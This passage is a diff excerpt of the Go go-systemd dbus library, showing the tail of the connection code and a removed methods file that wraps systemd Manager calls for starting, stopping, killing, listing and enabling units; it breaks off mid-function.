n = append(n, res...)
}
i += 2
} else {
n = append(n, c)
}
}
return string(n)
}
// Conn is a connection to systemd's dbus endpoint.
type Conn struct {
// sysconn/sysobj are only used to call dbus methods
sysconn *dbus.Conn
sysobj dbus.BusObject
// sigconn/sigobj are only used to receive dbus signals
sigconn *dbus.Conn
sigobj dbus.BusObject
jobListener struct {
jobs map[dbus.ObjectPath]chan<- string
sync.Mutex
}
subStateSubscriber struct {
updateCh chan<- *SubStateUpdate
errCh chan<- error
sync.Mutex
ignore map[dbus.ObjectPath]int64
cleanIgnore int64
}
propertiesSubscriber struct {
updateCh chan<- *PropertiesUpdate
errCh chan<- error
sync.Mutex
}
}
// Deprecated: use NewWithContext instead.
func New() (*Conn, error) {
return NewWithContext(context.Background())
}
// NewWithContext establishes a connection to any available bus and authenticates.
// Callers should call Close() when done with the connection.
func NewWithContext(ctx context.Context) (*Conn, error) {
conn, err := NewSystemConnectionContext(ctx)
if err != nil && os.Geteuid() == 0 {
return NewSystemdConnectionContext(ctx)
}
return conn, err
}
// Deprecated: use NewSystemConnectionContext instead.
func NewSystemConnection() (*Conn, error) {
return NewSystemConnectionContext(context.Background())
}
// NewSystemConnectionContext establishes a connection to the system bus and authenticates.
// Callers should call Close() when done with the connection.
func NewSystemConnectionContext(ctx context.Context) (*Conn, error) {
return NewConnection(func() (*dbus.Conn, error) {
return dbusAuthHelloConnection(ctx, dbus.SystemBusPrivate)
})
}
// Deprecated: use NewUserConnectionContext instead.
func NewUserConnection() (*Conn, error) {
return NewUserConnectionContext(context.Background())
}
// NewUserConnectionContext establishes a connection to the session bus and
// authenticates. This can be used to connect to systemd user instances.
// Callers should call Close() when done with the connection.
func NewUserConnectionContext(ctx context.Context) (*Conn, error) {
return NewConnection(func() (*dbus.Conn, error) {
return dbusAuthHelloConnection(ctx, dbus.SessionBusPrivate)
})
}
// Deprecated: use NewSystemdConnectionContext instead.
func NewSystemdConnection() (*Conn, error) {
return NewSystemdConnectionContext(context.Background())
}
// NewSystemdConnectionContext establishes a private, direct connection to systemd.
// This can be used for communicating with systemd without a dbus daemon.
// Callers should call Close() when done with the connection.
func NewSystemdConnectionContext(ctx context.Context) (*Conn, error) {
return NewConnection(func() (*dbus.Conn, error) {
// We skip Hello when talking directly to systemd.
return dbusAuthConnection(ctx, func(opts ...dbus.ConnOption) (*dbus.Conn, error) {
return dbus.Dial("unix:path=/run/systemd/private", opts...)
})
})
}
// Close closes an established connection.
func (c *Conn) Close() {
c.sysconn.Close()
c.sigconn.Close()
}
// Connected returns whether conn is connected
func (c *Conn) Connected() bool {
return c.sysconn.Connected() && c.sigconn.Connected()
}
// NewConnection establishes a connection to a bus using a caller-supplied function.
// This allows connecting to remote buses through a user-supplied mechanism.
// The supplied function may be called multiple times, and should return independent connections.
// The returned connection must be fully initialised: the org.freedesktop.DBus.Hello call must have succeeded,
// and any authentication should be handled by the function.
func NewConnection(dialBus func() (*dbus.Conn, error)) (*Conn, error) {
sysconn, err := dialBus()
if err != nil {
return nil, err
}
sigconn, err := dialBus()
if err != nil {
sysconn.Close()
return nil, err
}
c := &Conn{
sysconn: sysconn,
sysobj: systemdObject(sysconn),
sigconn: sigconn,
sigobj: systemdObject(sigconn),
}
c.subStateSubscriber.ignore = make(map[dbus.ObjectPath]int64)
c.jobListener.jobs = make(map[dbus.ObjectPath]chan<- string)
// Setup the listeners on jobs so that we can get completions
c.sigconn.BusObject().Call("org.freedesktop.DBus.AddMatch", 0,
"type='signal', interface='org.freedesktop.systemd1.Manager', member='JobRemoved'")
c.dispatch()
return c, nil
}
// GetManagerProperty returns the value of a property on the org.freedesktop.systemd1.Manager
// interface. The value is returned in its string representation, as defined at
// https://developer.gnome.org/glib/unstable/gvariant-text.html.
func (c *Conn) GetManagerProperty(prop string) (string, error) {
variant, err := c.sysobj.GetProperty("org.freedesktop.systemd1.Manager." + prop)
if err != nil {
return "", err
}
return variant.String(), nil
}
func dbusAuthConnection(ctx context.Context, createBus func(opts ...dbus.ConnOption) (*dbus.Conn, error)) (*dbus.Conn, error) {
conn, err := createBus(dbus.WithContext(ctx))
if err != nil {
return nil, err
}
// Only use EXTERNAL method, and hardcode the uid (not username)
// to avoid a username lookup (which requires a dynamically linked
// libc)
methods := []dbus.Auth{dbus.AuthExternal(strconv.Itoa(os.Getuid()))}
err = conn.Auth(methods)
if err != nil {
conn.Close()
return nil, err
}
return conn, nil
}
func dbusAuthHelloConnection(ctx context.Context, createBus func(opts ...dbus.ConnOption) (*dbus.Conn, error)) (*dbus.Conn, error) {
conn, err := dbusAuthConnection(ctx, createBus)
if err != nil {
return nil, err
}
if err = conn.Hello(); err != nil {
conn.Close()
return nil, err
}
return conn, nil
}
func systemdObject(conn *dbus.Conn) dbus.BusObject {
return conn.Object("org.freedesktop.systemd1", dbus.ObjectPath("/org/freedesktop/systemd1"))
}
-864
View File
@@ -1,864 +0,0 @@
// Copyright 2015, 2018 CoreOS, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package dbus
import (
"context"
"errors"
"fmt"
"path"
"strconv"
"github.com/godbus/dbus/v5"
)
// Who can be used to specify which process to kill in the unit via the KillUnitWithTarget API
type Who string
const (
// All sends the signal to all processes in the unit
All Who = "all"
// Main sends the signal to the main process of the unit
Main Who = "main"
// Control sends the signal to the control process of the unit
Control Who = "control"
)
func (c *Conn) jobComplete(signal *dbus.Signal) {
var id uint32
var job dbus.ObjectPath
var unit string
var result string
dbus.Store(signal.Body, &id, &job, &unit, &result)
c.jobListener.Lock()
out, ok := c.jobListener.jobs[job]
if ok {
out <- result
delete(c.jobListener.jobs, job)
}
c.jobListener.Unlock()
}
func (c *Conn) startJob(ctx context.Context, ch chan<- string, job string, args ...interface{}) (int, error) {
if ch != nil {
c.jobListener.Lock()
defer c.jobListener.Unlock()
}
var p dbus.ObjectPath
err := c.sysobj.CallWithContext(ctx, job, 0, args...).Store(&p)
if err != nil {
return 0, err
}
if ch != nil {
c.jobListener.jobs[p] = ch
}
// ignore error since 0 is fine if conversion fails
jobID, _ := strconv.Atoi(path.Base(string(p)))
return jobID, nil
}
// Deprecated: use StartUnitContext instead.
func (c *Conn) StartUnit(name string, mode string, ch chan<- string) (int, error) {
return c.StartUnitContext(context.Background(), name, mode, ch)
}
// StartUnitContext enqueues a start job and depending jobs, if any (unless otherwise
// specified by the mode string).
//
// Takes the unit to activate, plus a mode string. The mode needs to be one of
// replace, fail, isolate, ignore-dependencies, ignore-requirements. If
// "replace" the call will start the unit and its dependencies, possibly
// replacing already queued jobs that conflict with this. If "fail" the call
// will start the unit and its dependencies, but will fail if this would change
// an already queued job. If "isolate" the call will start the unit in question
// and terminate all units that aren't dependencies of it. If
// "ignore-dependencies" it will start a unit but ignore all its dependencies.
// If "ignore-requirements" it will start a unit but only ignore the
// requirement dependencies. It is not recommended to make use of the latter
// two options.
//
// If the provided channel is non-nil, a result string will be sent to it upon
// job completion: one of done, canceled, timeout, failed, dependency, skipped.
// done indicates successful execution of a job. canceled indicates that a job
// has been canceled before it finished execution. timeout indicates that the
// job timeout was reached. failed indicates that the job failed. dependency
// indicates that a job this job has been depending on failed and the job hence
// has been removed too. skipped indicates that a job was skipped because it
// didn't apply to the units current state.
//
// If no error occurs, the ID of the underlying systemd job will be returned. There
// does exist the possibility for no error to be returned, but for the returned job
// ID to be 0. In this case, the actual underlying ID is not 0 and this datapoint
// should not be considered authoritative.
//
// If an error does occur, it will be returned to the user alongside a job ID of 0.
func (c *Conn) StartUnitContext(ctx context.Context, name string, mode string, ch chan<- string) (int, error) {
return c.startJob(ctx, ch, "org.freedesktop.systemd1.Manager.StartUnit", name, mode)
}
// Deprecated: use StopUnitContext instead.
func (c *Conn) StopUnit(name string, mode string, ch chan<- string) (int, error) {
return c.StopUnitContext(context.Background(), name, mode, ch)
}
// StopUnitContext is similar to StartUnitContext, but stops the specified unit
// rather than starting it.
func (c *Conn) StopUnitContext(ctx context.Context, name string, mode string, ch chan<- string) (int, error) {
return c.startJob(ctx, ch, "org.freedesktop.systemd1.Manager.StopUnit", name, mode)
}
// Deprecated: use ReloadUnitContext instead.
func (c *Conn) ReloadUnit(name string, mode string, ch chan<- string) (int, error) {
return c.ReloadUnitContext(context.Background(), name, mode, ch)
}
// ReloadUnitContext reloads a unit. Reloading is done only if the unit
// is already running, and fails otherwise.
func (c *Conn) ReloadUnitContext(ctx context.Context, name string, mode string, ch chan<- string) (int, error) {
return c.startJob(ctx, ch, "org.freedesktop.systemd1.Manager.ReloadUnit", name, mode)
}
// Deprecated: use RestartUnitContext instead.
func (c *Conn) RestartUnit(name string, mode string, ch chan<- string) (int, error) {
return c.RestartUnitContext(context.Background(), name, mode, ch)
}
// RestartUnitContext restarts a service. If a service is restarted that isn't
// running it will be started.
func (c *Conn) RestartUnitContext(ctx context.Context, name string, mode string, ch chan<- string) (int, error) {
return c.startJob(ctx, ch, "org.freedesktop.systemd1.Manager.RestartUnit", name, mode)
}
// Deprecated: use TryRestartUnitContext instead.
func (c *Conn) TryRestartUnit(name string, mode string, ch chan<- string) (int, error) {
return c.TryRestartUnitContext(context.Background(), name, mode, ch)
}
// TryRestartUnitContext is like RestartUnitContext, except that a service that
// isn't running is not affected by the restart.
func (c *Conn) TryRestartUnitContext(ctx context.Context, name string, mode string, ch chan<- string) (int, error) {
return c.startJob(ctx, ch, "org.freedesktop.systemd1.Manager.TryRestartUnit", name, mode)
}
// Deprecated: use ReloadOrRestartUnitContext instead.
func (c *Conn) ReloadOrRestartUnit(name string, mode string, ch chan<- string) (int, error) {
return c.ReloadOrRestartUnitContext(context.Background(), name, mode, ch)
}
// ReloadOrRestartUnitContext attempts a reload if the unit supports it and use
// a restart otherwise.
func (c *Conn) ReloadOrRestartUnitContext(ctx context.Context, name string, mode string, ch chan<- string) (int, error) {
return c.startJob(ctx, ch, "org.freedesktop.systemd1.Manager.ReloadOrRestartUnit", name, mode)
}
// Deprecated: use ReloadOrTryRestartUnitContext instead.
func (c *Conn) ReloadOrTryRestartUnit(name string, mode string, ch chan<- string) (int, error) {
return c.ReloadOrTryRestartUnitContext(context.Background(), name, mode, ch)
}
// ReloadOrTryRestartUnitContext attempts a reload if the unit supports it,
// and use a "Try" flavored restart otherwise.
func (c *Conn) ReloadOrTryRestartUnitContext(ctx context.Context, name string, mode string, ch chan<- string) (int, error) {
return c.startJob(ctx, ch, "org.freedesktop.systemd1.Manager.ReloadOrTryRestartUnit", name, mode)
}
// Deprecated: use StartTransientUnitContext instead.
func (c *Conn) StartTransientUnit(name string, mode string, properties []Property, ch chan<- string) (int, error) {
return c.StartTransientUnitContext(context.Background(), name, mode, properties, ch)
}
// StartTransientUnitContext may be used to create and start a transient unit, which
// will be released as soon as it is not running or referenced anymore or the
// system is rebooted. name is the unit name including suffix, and must be
// unique. mode is the same as in StartUnitContext, properties contains properties
// of the unit.
func (c *Conn) StartTransientUnitContext(ctx context.Context, name string, mode string, properties []Property, ch chan<- string) (int, error) {
return c.startJob(ctx, ch, "org.freedesktop.systemd1.Manager.StartTransientUnit", name, mode, properties, make([]PropertyCollection, 0))
}
// Deprecated: use KillUnitContext instead.
func (c *Conn) KillUnit(name string, signal int32) {
c.KillUnitContext(context.Background(), name, signal)
}
// KillUnitContext takes the unit name and a UNIX signal number to send.
// All of the unit's processes are killed.
func (c *Conn) KillUnitContext(ctx context.Context, name string, signal int32) {
c.KillUnitWithTarget(ctx, name, All, signal)
}
// KillUnitWithTarget is like KillUnitContext, but allows you to specify which
// process in the unit to send the signal to.
func (c *Conn) KillUnitWithTarget(ctx context.Context, name string, target Who, signal int32) error {
return c.sysobj.CallWithContext(ctx, "org.freedesktop.systemd1.Manager.KillUnit", 0, name, string(target), signal).Store()
}
// Deprecated: use ResetFailedUnitContext instead.
func (c *Conn) ResetFailedUnit(name string) error {
return c.ResetFailedUnitContext(context.Background(), name)
}
// ResetFailedUnitContext resets the "failed" state of a specific unit.
func (c *Conn) ResetFailedUnitContext(ctx context.Context, name string) error {
return c.sysobj.CallWithContext(ctx, "org.freedesktop.systemd1.Manager.ResetFailedUnit", 0, name).Store()
}
// Deprecated: use SystemStateContext instead.
func (c *Conn) SystemState() (*Property, error) {
return c.SystemStateContext(context.Background())
}
// SystemStateContext returns the systemd state. Equivalent to
// systemctl is-system-running.
func (c *Conn) SystemStateContext(ctx context.Context) (*Property, error) {
var err error
var prop dbus.Variant
obj := c.sysconn.Object("org.freedesktop.systemd1", "/org/freedesktop/systemd1")
err = obj.CallWithContext(ctx, "org.freedesktop.DBus.Properties.Get", 0, "org.freedesktop.systemd1.Manager", "SystemState").Store(&prop)
if err != nil {
return nil, err
}
return &Property{Name: "SystemState", Value: prop}, nil
}
// getProperties takes the unit path and returns all of its dbus object properties, for the given dbus interface.
func (c *Conn) getProperties(ctx context.Context, path dbus.ObjectPath, dbusInterface string) (map[string]interface{}, error) {
var err error
var props map[string]dbus.Variant
if !path.IsValid() {
return nil, fmt.Errorf("invalid unit name: %v", path)
}
obj := c.sysconn.Object("org.freedesktop.systemd1", path)
err = obj.CallWithContext(ctx, "org.freedesktop.DBus.Properties.GetAll", 0, dbusInterface).Store(&props)
if err != nil {
return nil, err
}
out := make(map[string]interface{}, len(props))
for k, v := range props {
out[k] = v.Value()
}
return out, nil
}
// Deprecated: use GetUnitPropertiesContext instead.
func (c *Conn) GetUnitProperties(unit string) (map[string]interface{}, error) {
return c.GetUnitPropertiesContext(context.Background(), unit)
}
// GetUnitPropertiesContext takes the (unescaped) unit name and returns all of
// its dbus object properties.
func (c *Conn) GetUnitPropertiesContext(ctx context.Context, unit string) (map[string]interface{}, error) {
path := unitPath(unit)
return c.getProperties(ctx, path, "org.freedesktop.systemd1.Unit")
}
// Deprecated: use GetUnitPathPropertiesContext instead.
func (c *Conn) GetUnitPathProperties(path dbus.ObjectPath) (map[string]interface{}, error) {
return c.GetUnitPathPropertiesContext(context.Background(), path)
}
// GetUnitPathPropertiesContext takes the (escaped) unit path and returns all
// of its dbus object properties.
func (c *Conn) GetUnitPathPropertiesContext(ctx context.Context, path dbus.ObjectPath) (map[string]interface{}, error) {
return c.getProperties(ctx, path, "org.freedesktop.systemd1.Unit")
}
// Deprecated: use GetAllPropertiesContext instead.
func (c *Conn) GetAllProperties(unit string) (map[string]interface{}, error) {
return c.GetAllPropertiesContext(context.Background(), unit)
}
// GetAllPropertiesContext takes the (unescaped) unit name and returns all of
// its dbus object properties.
func (c *Conn) GetAllPropertiesContext(ctx context.Context, unit string) (map[string]interface{}, error) {
path := unitPath(unit)
return c.getProperties(ctx, path, "")
}
func (c *Conn) getProperty(ctx context.Context, unit string, dbusInterface string, propertyName string) (*Property, error) {
var err error
var prop dbus.Variant
path := unitPath(unit)
if !path.IsValid() {
return nil, errors.New("invalid unit name: " + unit)
}
obj := c.sysconn.Object("org.freedesktop.systemd1", path)
err = obj.CallWithContext(ctx, "org.freedesktop.DBus.Properties.Get", 0, dbusInterface, propertyName).Store(&prop)
if err != nil {
return nil, err
}
return &Property{Name: propertyName, Value: prop}, nil
}
// Deprecated: use GetUnitPropertyContext instead.
func (c *Conn) GetUnitProperty(unit string, propertyName string) (*Property, error) {
return c.GetUnitPropertyContext(context.Background(), unit, propertyName)
}
// GetUnitPropertyContext takes an (unescaped) unit name, and a property name,
// and returns the property value.
func (c *Conn) GetUnitPropertyContext(ctx context.Context, unit string, propertyName string) (*Property, error) {
return c.getProperty(ctx, unit, "org.freedesktop.systemd1.Unit", propertyName)
}
// Deprecated: use GetServicePropertyContext instead.
func (c *Conn) GetServiceProperty(service string, propertyName string) (*Property, error) {
return c.GetServicePropertyContext(context.Background(), service, propertyName)
}
// GetServiceProperty returns property for given service name and property name.
func (c *Conn) GetServicePropertyContext(ctx context.Context, service string, propertyName string) (*Property, error) {
return c.getProperty(ctx, service, "org.freedesktop.systemd1.Service", propertyName)
}
// Deprecated: use GetUnitTypePropertiesContext instead.
func (c *Conn) GetUnitTypeProperties(unit string, unitType string) (map[string]interface{}, error) {
return c.GetUnitTypePropertiesContext(context.Background(), unit, unitType)
}
// GetUnitTypePropertiesContext returns the extra properties for a unit, specific to the unit type.
// Valid values for unitType: Service, Socket, Target, Device, Mount, Automount, Snapshot, Timer, Swap, Path, Slice, Scope.
// Returns "dbus.Error: Unknown interface" error if the unitType is not the correct type of the unit.
func (c *Conn) GetUnitTypePropertiesContext(ctx context.Context, unit string, unitType string) (map[string]interface{}, error) {
path := unitPath(unit)
return c.getProperties(ctx, path, "org.freedesktop.systemd1."+unitType)
}
// Deprecated: use SetUnitPropertiesContext instead.
func (c *Conn) SetUnitProperties(name string, runtime bool, properties ...Property) error {
return c.SetUnitPropertiesContext(context.Background(), name, runtime, properties...)
}
// SetUnitPropertiesContext may be used to modify certain unit properties at runtime.
// Not all properties may be changed at runtime, but many resource management
// settings (primarily those in systemd.cgroup(5)) may. The changes are applied
// instantly, and stored on disk for future boots, unless runtime is true, in which
// case the settings only apply until the next reboot. name is the name of the unit
// to modify. properties are the settings to set, encoded as an array of property
// name and value pairs.
func (c *Conn) SetUnitPropertiesContext(ctx context.Context, name string, runtime bool, properties ...Property) error {
return c.sysobj.CallWithContext(ctx, "org.freedesktop.systemd1.Manager.SetUnitProperties", 0, name, runtime, properties).Store()
}
// Deprecated: use GetUnitTypePropertyContext instead.
func (c *Conn) GetUnitTypeProperty(unit string, unitType string, propertyName string) (*Property, error) {
return c.GetUnitTypePropertyContext(context.Background(), unit, unitType, propertyName)
}
// GetUnitTypePropertyContext takes a property name, a unit name, and a unit type,
// and returns a property value. For valid values of unitType, see GetUnitTypePropertiesContext.
func (c *Conn) GetUnitTypePropertyContext(ctx context.Context, unit string, unitType string, propertyName string) (*Property, error) {
return c.getProperty(ctx, unit, "org.freedesktop.systemd1."+unitType, propertyName)
}
type UnitStatus struct {
Name string // The primary unit name as string
Description string // The human readable description string
LoadState string // The load state (i.e. whether the unit file has been loaded successfully)
ActiveState string // The active state (i.e. whether the unit is currently started or not)
SubState string // The sub state (a more fine-grained version of the active state that is specific to the unit type, which the active state is not)
Followed string // A unit that is being followed in its state by this unit, if there is any, otherwise the empty string.
Path dbus.ObjectPath // The unit object path
JobId uint32 // If there is a job queued for the job unit the numeric job id, 0 otherwise
JobType string // The job type as string
JobPath dbus.ObjectPath // The job object path
}
type storeFunc func(retvalues ...interface{}) error
func (c *Conn) listUnitsInternal(f storeFunc) ([]UnitStatus, error) {
result := make([][]interface{}, 0)
err := f(&result)
if err != nil {
return nil, err
}
resultInterface := make([]interface{}, len(result))
for i := range result {
resultInterface[i] = result[i]
}
status := make([]UnitStatus, len(result))
statusInterface := make([]interface{}, len(status))
for i := range status {
statusInterface[i] = &status[i]
}
err = dbus.Store(resultInterface, statusInterface...)
if err != nil {
return nil, err
}
return status, nil
}
// GetUnitByPID returns the unit object path of the unit a process ID
// belongs to. It takes a UNIX PID and returns the object path. The PID must
// refer to an existing system process
func (c *Conn) GetUnitByPID(ctx context.Context, pid uint32) (dbus.ObjectPath, error) {
var result dbus.ObjectPath
err := c.sysobj.CallWithContext(ctx, "org.freedesktop.systemd1.Manager.GetUnitByPID", 0, pid).Store(&result)
return result, err
}
// GetUnitNameByPID returns the name of the unit a process ID belongs to. It
// takes a UNIX PID and returns the object path. The PID must refer to an
// existing system process
func (c *Conn) GetUnitNameByPID(ctx context.Context, pid uint32) (string, error) {
path, err := c.GetUnitByPID(ctx, pid)
if err != nil {
return "", err
}
return unitName(path), nil
}
// Deprecated: use ListUnitsContext instead.
func (c *Conn) ListUnits() ([]UnitStatus, error) {
return c.ListUnitsContext(context.Background())
}
// ListUnitsContext returns an array with all currently loaded units. Note that
// units may be known by multiple names at the same time, and hence there might
// be more unit names loaded than actual units behind them.
// Also note that a unit is only loaded if it is active and/or enabled.
// Units that are both disabled and inactive will thus not be returned.
func (c *Conn) ListUnitsContext(ctx context.Context) ([]UnitStatus, error) {
return c.listUnitsInternal(c.sysobj.CallWithContext(ctx, "org.freedesktop.systemd1.Manager.ListUnits", 0).Store)
}
// Deprecated: use ListUnitsFilteredContext instead.
func (c *Conn) ListUnitsFiltered(states []string) ([]UnitStatus, error) {
return c.ListUnitsFilteredContext(context.Background(), states)
}
// ListUnitsFilteredContext returns an array with units filtered by state.
// It takes a list of units' statuses to filter.
func (c *Conn) ListUnitsFilteredContext(ctx context.Context, states []string) ([]UnitStatus, error) {
return c.listUnitsInternal(c.sysobj.CallWithContext(ctx, "org.freedesktop.systemd1.Manager.ListUnitsFiltered", 0, states).Store)
}
// Deprecated: use ListUnitsByPatternsContext instead.
func (c *Conn) ListUnitsByPatterns(states []string, patterns []string) ([]UnitStatus, error) {
return c.ListUnitsByPatternsContext(context.Background(), states, patterns)
}
// ListUnitsByPatternsContext returns an array with units.
// It takes a list of units' statuses and names to filter.
// Note that units may be known by multiple names at the same time,
// and hence there might be more unit names loaded than actual units behind them.
func (c *Conn) ListUnitsByPatternsContext(ctx context.Context, states []string, patterns []string) ([]UnitStatus, error) {
return c.listUnitsInternal(c.sysobj.CallWithContext(ctx, "org.freedesktop.systemd1.Manager.ListUnitsByPatterns", 0, states, patterns).Store)
}
// Deprecated: use ListUnitsByNamesContext instead.
func (c *Conn) ListUnitsByNames(units []string) ([]UnitStatus, error) {
return c.ListUnitsByNamesContext(context.Background(), units)
}
// ListUnitsByNamesContext returns an array with units. It takes a list of units'
// names and returns an UnitStatus array. Comparing to ListUnitsByPatternsContext
// method, this method returns statuses even for inactive or non-existing
// units. Input array should contain exact unit names, but not patterns.
//
// Requires systemd v230 or higher.
func (c *Conn) ListUnitsByNamesContext(ctx context.Context, units []string) ([]UnitStatus, error) {
return c.listUnitsInternal(c.sysobj.CallWithContext(ctx, "org.freedesktop.systemd1.Manager.ListUnitsByNames", 0, units).Store)
}
type UnitFile struct {
Path string
Type string
}
func (c *Conn) listUnitFilesInternal(f storeFunc) ([]UnitFile, error) {
result := make([][]interface{}, 0)
err := f(&result)
if err != nil {
return nil, err
}
resultInterface := make([]interface{}, len(result))
for i := range result {
resultInterface[i] = result[i]
}
files := make([]UnitFile, len(result))
fileInterface := make([]interface{}, len(files))
for i := range files {
fileInterface[i] = &files[i]
}
err = dbus.Store(resultInterface, fileInterface...)
if err != nil {
return nil, err
}
return files, nil
}
// Deprecated: use ListUnitFilesContext instead.
func (c *Conn) ListUnitFiles() ([]UnitFile, error) {
return c.ListUnitFilesContext(context.Background())
}
// ListUnitFiles returns an array of all available units on disk.
func (c *Conn) ListUnitFilesContext(ctx context.Context) ([]UnitFile, error) {
return c.listUnitFilesInternal(c.sysobj.CallWithContext(ctx, "org.freedesktop.systemd1.Manager.ListUnitFiles", 0).Store)
}
// Deprecated: use ListUnitFilesByPatternsContext instead.
func (c *Conn) ListUnitFilesByPatterns(states []string, patterns []string) ([]UnitFile, error) {
return c.ListUnitFilesByPatternsContext(context.Background(), states, patterns)
}
// ListUnitFilesByPatternsContext returns an array of all available units on disk matched the patterns.
func (c *Conn) ListUnitFilesByPatternsContext(ctx context.Context, states []string, patterns []string) ([]UnitFile, error) {
return c.listUnitFilesInternal(c.sysobj.CallWithContext(ctx, "org.freedesktop.systemd1.Manager.ListUnitFilesByPatterns", 0, states, patterns).Store)
}
type LinkUnitFileChange EnableUnitFileChange
// Deprecated: use LinkUnitFilesContext instead.
func (c *Conn) LinkUnitFiles(files []string, runtime bool, force bool) ([]LinkUnitFileChange, error) {
return c.LinkUnitFilesContext(context.Background(), files, runtime, force)
}
// LinkUnitFilesContext links unit files (that are located outside of the
// usual unit search paths) into the unit search path.
//
// It takes a list of absolute paths to unit files to link and two
// booleans.
//
// The first boolean controls whether the unit shall be
// enabled for runtime only (true, /run), or persistently (false,
// /etc).
//
// The second controls whether symlinks pointing to other units shall
// be replaced if necessary.
//
// This call returns a list of the changes made. The list consists of
// structures with three strings: the type of the change (one of symlink
// or unlink), the file name of the symlink and the destination of the
// symlink.
func (c *Conn) LinkUnitFilesContext(ctx context.Context, files []string, runtime bool, force bool) ([]LinkUnitFileChange, error) {
result := make([][]interface{}, 0)
err := c.sysobj.CallWithContext(ctx, "org.freedesktop.systemd1.Manager.LinkUnitFiles", 0, files, runtime, force).Store(&result)
if err != nil {
return nil, err
}
resultInterface := make([]interface{}, len(result))
for i := range result {
resultInterface[i] = result[i]
}
changes := make([]LinkUnitFileChange, len(result))
changesInterface := make([]interface{}, len(changes))
for i := range changes {
changesInterface[i] = &changes[i]
}
err = dbus.Store(resultInterface, changesInterface...)
if err != nil {
return nil, err
}
return changes, nil
}
// Deprecated: use EnableUnitFilesContext instead.
func (c *Conn) EnableUnitFiles(files []string, runtime bool, force bool) (bool, []EnableUnitFileChange, error) {
return c.EnableUnitFilesContext(context.Background(), files, runtime, force)
}
// EnableUnitFilesContext may be used to enable one or more units in the system
// (by creating symlinks to them in /etc or /run).
//
// It takes a list of unit files to enable (either just file names or full
// absolute paths if the unit files are residing outside the usual unit
// search paths), and two booleans: the first controls whether the unit shall
// be enabled for runtime only (true, /run), or persistently (false, /etc).
// The second one controls whether symlinks pointing to other units shall
// be replaced if necessary.
//
// This call returns one boolean and an array with the changes made. The
// boolean signals whether the unit files contained any enablement
// information (i.e. an [Install]) section. The changes list consists of
// structures with three strings: the type of the change (one of symlink
// or unlink), the file name of the symlink and the destination of the
// symlink.
func (c *Conn) EnableUnitFilesContext(ctx context.Context, files []string, runtime bool, force bool) (bool, []EnableUnitFileChange, error) {
var carries_install_info bool
result := make([][]interface{}, 0)
err := c.sysobj.CallWithContext(ctx, "org.freedesktop.systemd1.Manager.EnableUnitFiles", 0, files, runtime, force).Store(&carries_install_info, &result)
if err != nil {
return false, nil, err
}
resultInterface := make([]interface{}, len(result))
for i := range result {
resultInterface[i] = result[i]
}
changes := make([]EnableUnitFileChange, len(result))
changesInterface := make([]interface{}, len(changes))
for i := range changes {
changesInterface[i] = &changes[i]
}
err = dbus.Store(resultInterface, changesInterface...)
if err != nil {
return false, nil, err
}
return carries_install_info, changes, nil
}
type EnableUnitFileChange struct {
Type string // Type of the change (one of symlink or unlink)
Filename string // File name of the symlink
Destination string // Destination of the symlink
}
// Deprecated: use DisableUnitFilesContext instead.
func (c *Conn) DisableUnitFiles(files []string, runtime bool) ([]DisableUnitFileChange, error) {
return c.DisableUnitFilesContext(context.Background(), files, runtime)
}
// DisableUnitFilesContext may be used to disable one or more units in the
// system (by removing symlinks to them from /etc or /run).
//
// It takes a list of unit files to disable (either just file names or full
// absolute paths if the unit files are residing outside the usual unit
// search paths), and one boolean: whether the unit was enabled for runtime
// only (true, /run), or persistently (false, /etc).
//
// This call returns an array with the changes made. The changes list
// consists of structures with three strings: the type of the change (one of
// symlink or unlink), the file name of the symlink and the destination of the
// symlink.
func (c *Conn) DisableUnitFilesContext(ctx context.Context, files []string, runtime bool) ([]DisableUnitFileChange, error) {
result := make([][]interface{}, 0)
err := c.sysobj.CallWithContext(ctx, "org.freedesktop.systemd1.Manager.DisableUnitFiles", 0, files, runtime).Store(&result)
if err != nil {
return nil, err
}
resultInterface := make([]interface{}, len(result))
for i := range result {
resultInterface[i] = result[i]
}
changes := make([]DisableUnitFileChange, len(result))
changesInterface := make([]interface{}, len(changes))
for i := range changes {
changesInterface[i] = &changes[i]
}
err = dbus.Store(resultInterface, changesInterface...)
if err != nil {
return nil, err
}
return changes, nil
}
type DisableUnitFileChange struct {
Type string // Type of the change (one of symlink or unlink)
Filename string // File name of the symlink
Destination string // Destination of the symlink
}
// Deprecated: use MaskUnitFilesContext instead.
func (c *Conn) MaskUnitFiles(files []string, runtime bool, force bool) ([]MaskUnitFileChange, error) {
return c.MaskUnitFilesContext(context.Background(), files, runtime, force)
}
// MaskUnitFilesContext masks one or more units in the system.
//
// The files argument contains a list of units to mask (either just file names
// or full absolute paths if the unit files are residing outside the usual unit
// search paths).
//
// The runtime argument is used to specify whether the unit was enabled for
// runtime only (true, /run/systemd/..), or persistently (false,
// /etc/systemd/..).
func (c *Conn) MaskUnitFilesContext(ctx context.Context, files []string, runtime bool, force bool) ([]MaskUnitFileChange, error) {
result := make([][]interface{}, 0)
err := c.sysobj.CallWithContext(ctx, "org.freedesktop.systemd1.Manager.MaskUnitFiles", 0, files, runtime, force).Store(&result)
if err != nil {
return nil, err
}
resultInterface := make([]interface{}, len(result))
for i := range result {
resultInterface[i] = result[i]
}
changes := make([]MaskUnitFileChange, len(result))
changesInterface := make([]interface{}, len(changes))
for i := range changes {
changesInterface[i] = &changes[i]
}
err = dbus.Store(resultInterface, changesInterface...)
if err != nil {
return nil, err
}
return changes, nil
}
type MaskUnitFileChange struct {
Type string // Type of the change (one of symlink or unlink)
Filename string // File name of the symlink
Destination string // Destination of the symlink
}
// Deprecated: use UnmaskUnitFilesContext instead.
func (c *Conn) UnmaskUnitFiles(files []string, runtime bool) ([]UnmaskUnitFileChange, error) {
return c.UnmaskUnitFilesContext(context.Background(), files, runtime)
}
// UnmaskUnitFilesContext unmasks one or more units in the system.
//
// It takes the list of unit files to mask (either just file names or full
// absolute paths if the unit files are residing outside the usual unit search
// paths), and a boolean runtime flag to specify whether the unit was enabled
// for runtime only (true, /run/systemd/..), or persistently (false,
// /etc/systemd/..).
func (c *Conn) UnmaskUnitFilesContext(ctx context.Context, files []string, runtime bool) ([]UnmaskUnitFileChange, error) {
result := make([][]interface{}, 0)
